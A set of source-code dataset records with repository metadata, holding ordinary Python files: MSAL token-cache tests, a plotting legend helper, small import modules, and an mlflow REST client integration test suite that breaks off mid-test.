| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
1d9c7d08d31ebb53656eaccc2cfb5ce6d7c2a1dc
| 2,325
|
py
|
Python
|
tests/test_agnostic_backend.py
|
bluca/microsoft-authentication-extensions-for-python
|
8a45dbb88203232823de1f5bc8a5097c2ec8cc60
|
[
"MIT"
] | null | null | null |
tests/test_agnostic_backend.py
|
bluca/microsoft-authentication-extensions-for-python
|
8a45dbb88203232823de1f5bc8a5097c2ec8cc60
|
[
"MIT"
] | null | null | null |
tests/test_agnostic_backend.py
|
bluca/microsoft-authentication-extensions-for-python
|
8a45dbb88203232823de1f5bc8a5097c2ec8cc60
|
[
"MIT"
] | null | null | null |
import os
import shutil
import tempfile
import pytest
import msal
def test_file_token_cache_roundtrip():
from msal_extensions.token_cache import FileTokenCache
client_id = os.getenv('AZURE_CLIENT_ID')
client_secret = os.getenv('AZURE_CLIENT_SECRET')
if not (client_id and client_secret):
pytest.skip('no credentials present to test FileTokenCache round-trip with.')
test_folder = tempfile.mkdtemp(prefix="msal_extension_test_file_token_cache_roundtrip")
cache_file = os.path.join(test_folder, 'msal.cache')
try:
subject = FileTokenCache(cache_location=cache_file)
app = msal.ConfidentialClientApplication(
client_id=client_id,
client_credential=client_secret,
token_cache=subject)
desired_scopes = ['https://graph.microsoft.com/.default']
token1 = app.acquire_token_for_client(scopes=desired_scopes)
os.utime(cache_file, None) # Mock having another process update the cache.
token2 = app.acquire_token_silent(scopes=desired_scopes, account=None)
assert token1['access_token'] == token2['access_token']
finally:
shutil.rmtree(test_folder, ignore_errors=True)
def test_current_platform_cache_roundtrip():
from msal_extensions import TokenCache
client_id = os.getenv('AZURE_CLIENT_ID')
client_secret = os.getenv('AZURE_CLIENT_SECRET')
if not (client_id and client_secret):
pytest.skip('no credentials present to test FileTokenCache round-trip with.')
test_folder = tempfile.mkdtemp(prefix="msal_extension_test_file_token_cache_roundtrip")
cache_file = os.path.join(test_folder, 'msal.cache')
try:
subject = TokenCache(cache_location=cache_file)
app = msal.ConfidentialClientApplication(
client_id=client_id,
client_credential=client_secret,
token_cache=subject)
desired_scopes = ['https://graph.microsoft.com/.default']
token1 = app.acquire_token_for_client(scopes=desired_scopes)
os.utime(cache_file, None) # Mock having another process update the cache.
token2 = app.acquire_token_silent(scopes=desired_scopes, account=None)
assert token1['access_token'] == token2['access_token']
finally:
shutil.rmtree(test_folder, ignore_errors=True)
| 42.272727
| 91
| 0.724731
| 288
| 2,325
| 5.555556
| 0.256944
| 0.05
| 0.0525
| 0.0475
| 0.905625
| 0.8575
| 0.8575
| 0.8575
| 0.8575
| 0.8575
| 0
| 0.004237
| 0.187957
| 2,325
| 54
| 92
| 43.055556
| 0.84322
| 0.03914
| 0
| 0.765957
| 0
| 0
| 0.190049
| 0.041237
| 0
| 0
| 0
| 0
| 0.042553
| 1
| 0.042553
| false
| 0
| 0.148936
| 0
| 0.191489
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d54c6e164a9450bb8331ea36ec0693f8ad88e3eb
| 2,127
|
py
|
Python
|
grplot/features/legend/check_legend.py
|
ghiffaryr/grplot
|
43ea08febac4ffecbce0a6a3d679850f5013aa28
|
[
"BSD-3-Clause"
] | null | null | null |
grplot/features/legend/check_legend.py
|
ghiffaryr/grplot
|
43ea08febac4ffecbce0a6a3d679850f5013aa28
|
[
"BSD-3-Clause"
] | null | null | null |
grplot/features/legend/check_legend.py
|
ghiffaryr/grplot
|
43ea08febac4ffecbce0a6a3d679850f5013aa28
|
[
"BSD-3-Clause"
] | null | null | null |
def check_legend(plot, ax, legend_fontsize, legend_loc, hue, size, h, l):
# legend font size
if ax.get_legend_handles_labels() != ([], []):
# temporary fix for histplot legend, waiting for seaborn to fix it's source code
if hue is not None or size is not None:
if plot == 'histplot':
handles, labels = ax.get_legend_handles_labels()
if legend_loc is None:
try:
ax.legend(handles+h, labels+l, fontsize=legend_fontsize)
except:
raise Exception('Unknown legend fontsize argument!')
else:
try:
ax.legend(handles+h, labels+l, loc=legend_loc, fontsize=legend_fontsize)
except:
raise Exception('Unknown legend loc argument!')
else:
if plot in ['pieplot', 'treemapsplot', 'packedbubblesplot']:
pass
else:
if legend_loc is None:
try:
ax.legend(fontsize=legend_fontsize)
except:
raise Exception('Unknown legend fontsize argument!')
else:
try:
ax.legend(loc=legend_loc, fontsize=legend_fontsize)
except:
raise Exception('Unknown legend loc argument!')
else:
if plot in ['pieplot', 'treemapsplot', 'packedbubblesplot']:
pass
else:
if legend_loc is None:
try:
ax.legend(fontsize=legend_fontsize)
except:
raise Exception('Unknown legend fontsize argument!')
else:
try:
ax.legend(loc=legend_loc, fontsize=legend_fontsize)
except:
raise Exception('Unknown legend loc argument!')
else:
pass
return ax
| 44.3125
| 96
| 0.465914
| 191
| 2,127
| 5.078534
| 0.230366
| 0.173196
| 0.068041
| 0.173196
| 0.793814
| 0.74433
| 0.74433
| 0.713402
| 0.684536
| 0.684536
| 0
| 0
| 0.463094
| 2,127
| 48
| 97
| 44.3125
| 0.849387
| 0.044664
| 0
| 0.826087
| 0
| 0
| 0.129557
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.021739
| false
| 0.065217
| 0
| 0
| 0.043478
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
d57191965222de35f9ec07d30c64bd4fb97cb633
| 373
|
py
|
Python
|
tests/internal/architectures/test_architectures_x86_64_auto.py
|
frolovv/aws.ec2.compare
|
582805823492f833d65c0441c4a14dce697c12aa
|
[
"Apache-2.0"
] | null | null | null |
tests/internal/architectures/test_architectures_x86_64_auto.py
|
frolovv/aws.ec2.compare
|
582805823492f833d65c0441c4a14dce697c12aa
|
[
"Apache-2.0"
] | null | null | null |
tests/internal/architectures/test_architectures_x86_64_auto.py
|
frolovv/aws.ec2.compare
|
582805823492f833d65c0441c4a14dce697c12aa
|
[
"Apache-2.0"
] | 1
|
2021-12-15T11:58:22.000Z
|
2021-12-15T11:58:22.000Z
|
# Testing module architectures.x86_64
import pytest
import ec2_compare.internal.architectures.x86_64
def test_get_internal_data_architectures_x86_64_get_instances_list():
assert len(ec2_compare.internal.architectures.x86_64.get_instances_list()) > 0
def test_get_internal_data_architectures_x86_64_get():
assert len(ec2_compare.internal.architectures.x86_64.get) > 0
| 37.3
| 80
| 0.857909
| 56
| 373
| 5.267857
| 0.339286
| 0.325424
| 0.366102
| 0.284746
| 0.827119
| 0.827119
| 0.616949
| 0.616949
| 0.616949
| 0
| 0
| 0.083573
| 0.069705
| 373
| 9
| 81
| 41.444444
| 0.766571
| 0.093834
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 10
|
6366aa496716688fe91432eacf22fb33a816f526
| 146
|
py
|
Python
|
restclients/sws/enrollment.py
|
uw-it-cte/uw-restclients
|
2b09348bf066e5508304401f93f281805e965af5
|
[
"Apache-2.0"
] | null | null | null |
restclients/sws/enrollment.py
|
uw-it-cte/uw-restclients
|
2b09348bf066e5508304401f93f281805e965af5
|
[
"Apache-2.0"
] | null | null | null |
restclients/sws/enrollment.py
|
uw-it-cte/uw-restclients
|
2b09348bf066e5508304401f93f281805e965af5
|
[
"Apache-2.0"
] | null | null | null |
from restclients.sws.v5.enrollment import get_grades_by_regid_and_term
from restclients.sws.v5.enrollment import get_enrollment_by_regid_and_term
| 48.666667
| 74
| 0.90411
| 24
| 146
| 5.083333
| 0.5
| 0.245902
| 0.295082
| 0.327869
| 0.639344
| 0.639344
| 0.639344
| 0
| 0
| 0
| 0
| 0.014493
| 0.054795
| 146
| 2
| 75
| 73
| 0.869565
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
63764afe260471a8c248c22ad213e9b588ef7092
| 204
|
py
|
Python
|
zeeguu/core/bookmark_quality/__init__.py
|
mircealungu/Zeeguu-API-2
|
1e8ea7f5dd0b883ed2d714b9324162b1a8edd170
|
[
"MIT"
] | 8
|
2018-02-06T15:47:55.000Z
|
2021-05-26T15:24:49.000Z
|
zeeguu/core/bookmark_quality/__init__.py
|
mircealungu/Zeeguu-API-2
|
1e8ea7f5dd0b883ed2d714b9324162b1a8edd170
|
[
"MIT"
] | 82
|
2017-12-09T16:15:02.000Z
|
2020-11-12T11:34:09.000Z
|
zeeguu/core/bookmark_quality/__init__.py
|
mircealungu/Zeeguu-API-2
|
1e8ea7f5dd0b883ed2d714b9324162b1a8edd170
|
[
"MIT"
] | 13
|
2017-10-12T09:05:19.000Z
|
2020-02-19T09:38:01.000Z
|
from .positive_qualities import quality_bookmark
from .positive_qualities import quality_top_bookmark
from .top_bookmarks_for_user import top_bookmarks
from .negative_qualities import bad_quality_bookmark
| 51
| 52
| 0.906863
| 28
| 204
| 6.178571
| 0.428571
| 0.260116
| 0.242775
| 0.312139
| 0.393064
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.073529
| 204
| 4
| 53
| 51
| 0.915344
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
89345f7a7c7ff3fc5a96f539e57a2a285b2e0a30
| 39,760
|
py
|
Python
|
tests/test_integration/test_mlflow_rest_client.py
|
MobileTeleSystems/mlflow-rest-client
|
d9bd87172b30a201f2446aebf4b1089f87684909
|
[
"Apache-2.0"
] | 32
|
2022-01-25T09:19:57.000Z
|
2022-03-25T19:34:11.000Z
|
tests/test_integration/test_mlflow_rest_client.py
|
MobileTeleSystems/mlflow-rest-client
|
d9bd87172b30a201f2446aebf4b1089f87684909
|
[
"Apache-2.0"
] | 8
|
2022-01-31T22:38:06.000Z
|
2022-03-28T19:57:33.000Z
|
tests/test_integration/test_mlflow_rest_client.py
|
MobileTeleSystems/mlflow-client
|
909512ce6938c586fee55b6d08392f3e98a97a65
|
[
"Apache-2.0"
] | 2
|
2022-02-03T12:18:11.000Z
|
2022-02-04T07:29:21.000Z
|
from __future__ import annotations
import logging
from datetime import timedelta
from uuid import uuid4
import pytest
from requests import HTTPError
from mlflow_rest_client.experiment import ExperimentStage
from mlflow_rest_client.model import ModelVersionStage
from mlflow_rest_client.run import Metric, RunStage, RunStatus
from .conftest import (
DEFAULT_TIMEOUT,
create_exp_name,
create_model_name,
now,
rand_float,
rand_str,
)
log = logging.getLogger(__name__)
DEFAULT_TIMEOUT = 60
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_experiments(client, create_experiment):
exp = create_experiment
exps = client.list_experiments()
assert exp in exps
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_experiments_iterator(client, create_experiment):
exp = create_experiment
created = False
for item in client.list_experiments_iterator():
if item.name == exp.name:
created = True
assert created
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_experiment(client, create_experiment):
exp = create_experiment
exp2 = client.get_experiment(exp.id)
assert exp == exp2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_experiment_fail(client):
with pytest.raises(HTTPError):
client.get_experiment(rand_str())
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_experiment_by_name(client, create_experiment):
exp = create_experiment
exp2 = client.get_experiment_by_name(exp.name)
assert exp == exp2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_experiment_by_name_non_existing(client):
non_existing = client.get_experiment_by_name(rand_str())
assert non_existing is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_rename_experiment(client, create_experiment):
exp = create_experiment
exp_name2 = create_exp_name()
client.rename_experiment(exp.id, exp_name2)
exp2 = client.get_experiment(exp.id)
assert exp.id == exp2.id
old_exp = client.get_experiment_by_name(exp.name)
assert old_exp is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_experiment(client, request):
exp_name = create_exp_name()
exp = client.create_experiment(exp_name)
def finalizer():
client.delete_experiment(exp.id)
request.addfinalizer(finalizer)
assert exp.name == exp_name
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_experiment_existing(client, create_experiment):
exp = create_experiment
with pytest.raises(HTTPError):
client.create_experiment(exp.name)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_experiment(client):
exp_name = create_exp_name()
exp = client.create_experiment(exp_name)
client.delete_experiment(exp.id)
old_exp = client.get_experiment(exp.id)
assert old_exp.stage == ExperimentStage.DELETED
by_name = client.get_experiment_by_name(exp.name)
assert by_name is None
with pytest.raises(HTTPError) as ex:
client.create_experiment(exp.name)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_restore_experiment(client, create_experiment):
exp = create_experiment
client.delete_experiment(exp.id)
client.restore_experiment(exp.id)
old_exp = client.get_experiment(exp.id)
assert old_exp.stage == ExperimentStage.ACTIVE
assert old_exp.name == exp.name
by_name = client.get_experiment_by_name(exp.name)
assert by_name == old_exp
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_experiment_tag(client, create_experiment):
exp = create_experiment
key = rand_str()
value = rand_str()
client.set_experiment_tag(exp.id, key, value)
old_exp = client.get_experiment(exp.id)
assert old_exp.stage == ExperimentStage.ACTIVE
assert key in [item.key for item in old_exp.tags]
assert old_exp.tags[0].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_experiment_id(client, create_experiment):
exp = create_experiment
exp_id = client.get_experiment_id(exp.name)
assert exp_id == exp.id
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_experiment_id_non_existing(client):
non_existing_id = client.get_experiment_id(rand_str())
assert non_existing_id is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_or_create_experiment(client, create_experiment):
exp = create_experiment
exp2 = client.get_or_create_experiment(exp.name)
assert exp == exp2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_experiment_runs(client, request, create_experiment):
exp = create_experiment
empty_runs = client.list_experiment_runs(exp.id)
assert len(empty_runs) == 0
run = client.create_run(experiment_id=exp.id)
def finalizer_run():
client.delete_run(run.id)
request.addfinalizer(finalizer_run)
runs = client.list_experiment_runs(exp.id)
assert run in runs
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_experiment_runs_iterator(client, request, create_experiment):
exp = create_experiment
is_empty = True
for run in client.list_experiment_runs_iterator(exp.id):
is_empty = False
assert is_empty
run = client.create_run(experiment_id=exp.id)
def finalizer_run():
client.delete_run(run.id)
request.addfinalizer(finalizer_run)
exist = False
for item in client.list_experiment_runs_iterator(exp.id):
if item.id == run.id:
exist = True
assert exist
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_run(client, create_run):
run = create_run
run2 = client.get_run(run.id)
assert run == run2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_run_fail(client):
with pytest.raises(HTTPError):
client.get_run(uuid4())
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_run(request, client, create_experiment):
exp = create_experiment
run = client.create_run(experiment_id=exp.id)
def finalizer_run():
client.delete_run(run.id)
request.addfinalizer(finalizer_run)
assert run.experiment_id == exp.id
assert run.status == RunStatus.STARTED
assert run.stage == RunStage.ACTIVE
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_run_without_start_time(request, client, create_experiment):
exp = create_experiment
start_time = now()
run = client.create_run(experiment_id=exp.id)
def finalizer_run():
client.delete_run(run.id)
request.addfinalizer(finalizer_run)
assert run.start_time
assert start_time.date() <= run.start_time.date()
assert run.end_time is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_run_with_start_time(request, client, create_experiment):
exp = create_experiment
start_time = now()
run = client.create_run(experiment_id=exp.id, start_time=start_time)
def finalizer_run():
client.delete_run(run.id)
request.addfinalizer(finalizer_run)
assert int(run.start_time.timestamp()) == int(start_time.timestamp())
assert run.end_time is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_run_with_tags(request, client, create_experiment):
exp = create_experiment
key = rand_str()
value = rand_str()
run = client.create_run(experiment_id=exp.id, tags={key: value})
def finalizer_run():
client.delete_run(run.id)
request.addfinalizer(finalizer_run)
assert key in run.tags
assert run.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_start_run(create_run, client):
run = create_run
run_info = client.start_run(run.id)
assert run_info.status == RunStatus.STARTED
assert run_info.end_time is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_schedule_run(create_run, client):
run = create_run
run_info = client.schedule_run(run.id)
assert run_info.status == RunStatus.SCHEDULED
assert run_info.end_time is None
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_finish_run(create_run, client):
run = create_run
end_time = now()
run_info = client.finish_run(run.id, end_time=end_time)
assert run_info.status == RunStatus.FINISHED
assert run_info.end_time.date() == end_time.date()
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_fail_run(create_run, client):
run = create_run
end_time = now()
run_info = client.fail_run(run.id, end_time=end_time)
assert run_info.status == RunStatus.FAILED
assert run_info.end_time
assert run_info.end_time.date() == end_time.date()
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_kill_run(create_run, client):
run = create_run
end_time = now()
run_info = client.kill_run(run.id, end_time=end_time)
assert run_info.status == RunStatus.KILLED
assert run_info.end_time
assert int(run_info.end_time.timestamp()) == int(end_time.timestamp())
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_run(create_experiment, client):
exp = create_experiment
run = client.create_run(experiment_id=exp.id)
client.delete_run(run.id)
run = client.get_run(run.id)
assert run.stage == RunStage.DELETED
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_run_fail(create_experiment, client):
exp = create_experiment
run = client.create_run(experiment_id=exp.id)
client.delete_run(run.id)
with pytest.raises(HTTPError):
client.delete_run(run.id)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_restore_run(create_run, client):
run = create_run
client.delete_run(run.id)
client.restore_run(run.id)
run = client.get_run(run.id)
assert run.stage == RunStage.ACTIVE
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_log_run_parameter(create_run, client):
key = rand_str()
value = rand_str()
run = create_run
assert key not in run.params
client.log_run_parameter(run.id, key, value)
run = client.get_run(run.id)
assert key in run.params
assert run.params[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_log_run_parameter_fail(create_run, client):
key = rand_str()
value = rand_str()
run = create_run
client.log_run_parameter(run.id, key, value)
new_value = rand_str()
with pytest.raises(HTTPError):
client.log_run_parameter(run.id, key, new_value)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_log_run_parameters(create_run, client):
params = {rand_str(): rand_str()}
run = create_run
for key in params:
assert key not in run.params
client.log_run_parameters(run.id, params)
run = client.get_run(run.id)
for key, value in params.items():
assert key in run.params
assert run.params[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_log_run_metric(create_run, client):
key = rand_str()
value = rand_float()
run = create_run
assert key not in run.params
timestamp = now().timestamp()
client.log_run_metric(run.id, key, value, timestamp=int(timestamp))
run = client.get_run(run.id)
assert key in run.metrics
assert run.metrics[key].value == pytest.approx(value)
assert run.metrics[key].step == 0
assert int(run.metrics[key].timestamp.timestamp()) == int(timestamp)
new_value = rand_float()
client.log_run_metric(run.id, key, new_value, step=1)
run = client.get_run(run.id)
assert key in run.metrics
assert run.metrics[key].value != pytest.approx(value)
assert run.metrics[key].value == pytest.approx(new_value)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_log_run_metrics(create_run, client):
metrics = {rand_str(): rand_float()}
run = create_run
for key in metrics:
assert key not in run.metrics
timestamp = now()
client.log_run_metrics(run.id, metrics)
run = client.get_run(run.id)
for key, value in metrics.items():
assert key in run.metrics
assert run.metrics[key].value == pytest.approx(value)
assert run.metrics[key].step == 0
assert int(run.metrics[key].timestamp.timestamp()) == int(timestamp.timestamp())
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_run_tag(create_run, client):
key = rand_str()
value = rand_str()
run = create_run
assert key not in run.tags
client.set_run_tag(run.id, key, value)
run = client.get_run(run.id)
assert key in run.tags
assert run.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_run_tags(create_run, client):
tags = {rand_str(): rand_str()}
run = create_run
for key in tags:
assert key not in run.tags
client.set_run_tags(run.id, tags)
run = client.get_run(run.id)
for key, value in tags.items():
assert key in run.tags
assert run.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_run_tag(create_run, client):
key = rand_str()
value = rand_str()
run = create_run
client.set_run_tag(run.id, key, value)
client.delete_run_tag(run.id, key)
run = client.get_run(run.id)
assert key not in run.tags
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_run_tags(create_run, client):
tags = {rand_str(): rand_str()}
run = create_run
client.set_run_tags(run.id, tags)
client.delete_run_tags(run.id, tags)
run = client.get_run(run.id)
for key in tags:
assert key not in run.tags
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_run_metric_history(create_run, client):
timestamp = now()
key = rand_str()
values = [
{"key": key, "value": rand_float(), "step": i, "timestamp": timestamp + timedelta(seconds=i * 10)}
for i in range(1, 6)
]
run = create_run
client.log_run_metrics(run.id, values)
for metric in client.list_run_metric_history(run.id, key):
found = None
for _metric in values:
if _metric["key"] == metric.key and _metric["step"] == metric.step:
found = Metric.parse_obj(_metric)
break
assert found
assert found.value == pytest.approx(metric.value)
assert found.timestamp.date() == metric.timestamp.date()
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_run_metric_history_iterator(create_run, client):
timestamp = now()
key = rand_str()
values = [
{"key": key, "value": rand_float(), "step": i, "timestamp": timestamp + timedelta(seconds=i * 10)}
for i in range(1, 6)
]
run = create_run
client.log_run_metrics(run.id, values)
for metric in client.list_run_metric_history_iterator(run.id, key):
found = None
for _metric in values:
if _metric["key"] == metric.key and _metric["step"] == metric.step:
found = Metric.parse_obj(_metric)
break
assert found
assert found.value == pytest.approx(metric.value)
assert found.timestamp.date() == metric.timestamp.date()
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_run_artifacts(create_run, client):
run = create_run
artifacts = client.list_run_artifacts(run.id)
assert len(artifacts) == 0
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_search_runs(create_run, client):
timestamp = now()
key = rand_str()
values = [
{"key": key, "value": rand_float(0, 1), "step": i, "timestamp": timestamp + timedelta(seconds=i * 10)}
for i in range(1, 6)
]
run = create_run
client.log_run_metrics(run.id, values)
query = f'metrics."{key}" < 1'
runs = client.search_runs(experiment_ids=[run.experiment_id], query=query)
assert run in runs
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_search_runs_iterator(create_run, client):
timestamp = now()
key = rand_str()
values = [
{"key": key, "value": rand_float(0, 1), "step": i, "timestamp": timestamp + timedelta(seconds=i * 10)}
for i in range(1, 6)
]
run = create_run
client.log_run_metrics(run.id, values)
query = f'metrics."{key}" < 1'
exist = False
for _run in client.search_runs_iterator(experiment_ids=[run.experiment_id], query=query):
if _run.id == run.id:
exist = True
assert exist
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model(request, client):
model_name = create_model_name()
model = client.create_model(model_name)
def finalizer():
client.delete_model(model.name)
request.addfinalizer(finalizer)
assert model.name == model_name
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_with_tags(request, client):
model_name = create_model_name()
key = rand_str()
value = rand_str()
model = client.create_model(model_name, tags={key: value})
def finalizer():
client.delete_model(model.name)
request.addfinalizer(finalizer)
assert key in model.tags
assert model.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_already_exist(request, client):
model_name = create_model_name()
model = client.create_model(model_name)
def finalizer():
client.delete_model(model.name)
request.addfinalizer(finalizer)
with pytest.raises(HTTPError):
client.create_model(model_name)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_model(create_model, client):
model = create_model
model2 = client.get_model(model.name)
assert model == model2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_or_create_model(request, create_model, client):
model = create_model
_models = []
def finalizer():
for _model in _models:
client.delete_model(_model.name)
request.addfinalizer(finalizer)
for name in [model.name, model.name.replace("-", "_")]:
_model = client.get_or_create_model(name)
if model.name == _model.name:
assert model == _model
else:
_models.append(_model)
assert model != _model
assert _model.name == name
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_rename_model(request, client, create_model):
model = create_model
new_name = create_model_name()
model2 = client.rename_model(model.name, new_name)
def finalizer():
client.rename_model(new_name, model.name)
request.addfinalizer(finalizer)
assert model2.name != model.name
assert model2.name == new_name
with pytest.raises(HTTPError):
client.get_model(model.name)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_model_description(create_model, client):
model = create_model
assert not model.description
description = rand_str()
model = client.set_model_description(model.name, description)
assert model.description == description
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_model(client):
model_name = create_model_name()
model = client.create_model(model_name)
client.delete_model(model.name)
with pytest.raises(HTTPError):
client.get_model(model.name)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_models(client, create_model):
model = create_model
models = client.list_models()
assert model in models
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_models_iterator(client, create_model):
model = create_model
exist = False
for _model in client.list_models_iterator():
if _model.name == model.name:
exist = True
assert exist
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_search_models(client, create_model):
model = create_model
for name in [model.name, model.name.replace("-", "_")]:
query = f"name LIKE '{name}%'"
models = client.search_models(query=query)
assert model in models
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_search_models_iterator(client, create_model):
model = create_model
for name in [model.name, model.name.replace("-", "_")]:
query = f"name LIKE '{name}%'"
exist = False
for _model in client.search_models(query=query):
if model.name == _model.name:
exist = True
assert exist
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_model_tag(client, create_model):
key = rand_str()
value = rand_str()
model = create_model
assert key not in model.tags
client.set_model_tag(model.name, key, value)
model = client.get_model(model.name)
assert key in model.tags
assert model.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_model_tag(client, create_model):
key = rand_str()
value = rand_str()
model = create_model
client.set_model_tag(model.name, key, value)
client.delete_model_tag(model.name, key)
model = client.get_model(model.name)
assert key not in model.tags
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_model_versions(client, create_model):
model = create_model
versions = client.list_model_versions(model.name)
assert len(versions) == 0
version1 = client.create_model_version(model.name)
client.test_model_version(model.name, version1.version)
versions = client.list_model_versions(model.name)
assert version1 in versions
version2 = client.create_model_version(model.name)
client.test_model_version(model.name, version2.version)
versions = client.list_model_versions(model.name)
assert version1 not in versions
assert version2 in versions
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize("stage", [stage for stage in ModelVersionStage])
def test_list_model_versions_with_stage(client, create_model, stage):
model = create_model
versions = client.list_model_versions(model.name, stages=stage)
assert len(versions) == 0
version1 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version1.version, stage)
for _stage in ModelVersionStage:
versions = client.list_model_versions(model.name, stages=_stage)
if _stage == stage:
assert version1 in versions
else:
assert version1 not in versions
version2 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version2.version, stage)
for _stage in ModelVersionStage:
versions = client.list_model_versions(model.name, stages=_stage)
if _stage == stage:
assert version1 not in versions
assert version2 in versions
else:
assert version1 not in versions
assert version2 not in versions
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_model_versions_iterator(client, create_model):
model = create_model
is_empty = True
for _version in client.list_model_versions_iterator(model.name):
is_empty = False
assert is_empty
version1 = client.create_model_version(model.name)
client.test_model_version(model.name, version1.version)
present1 = False
for _version in client.list_model_versions_iterator(model.name):
if _version.version == version1.version:
present1 = True
assert present1
version2 = client.create_model_version(model.name)
client.test_model_version(model.name, version2.version)
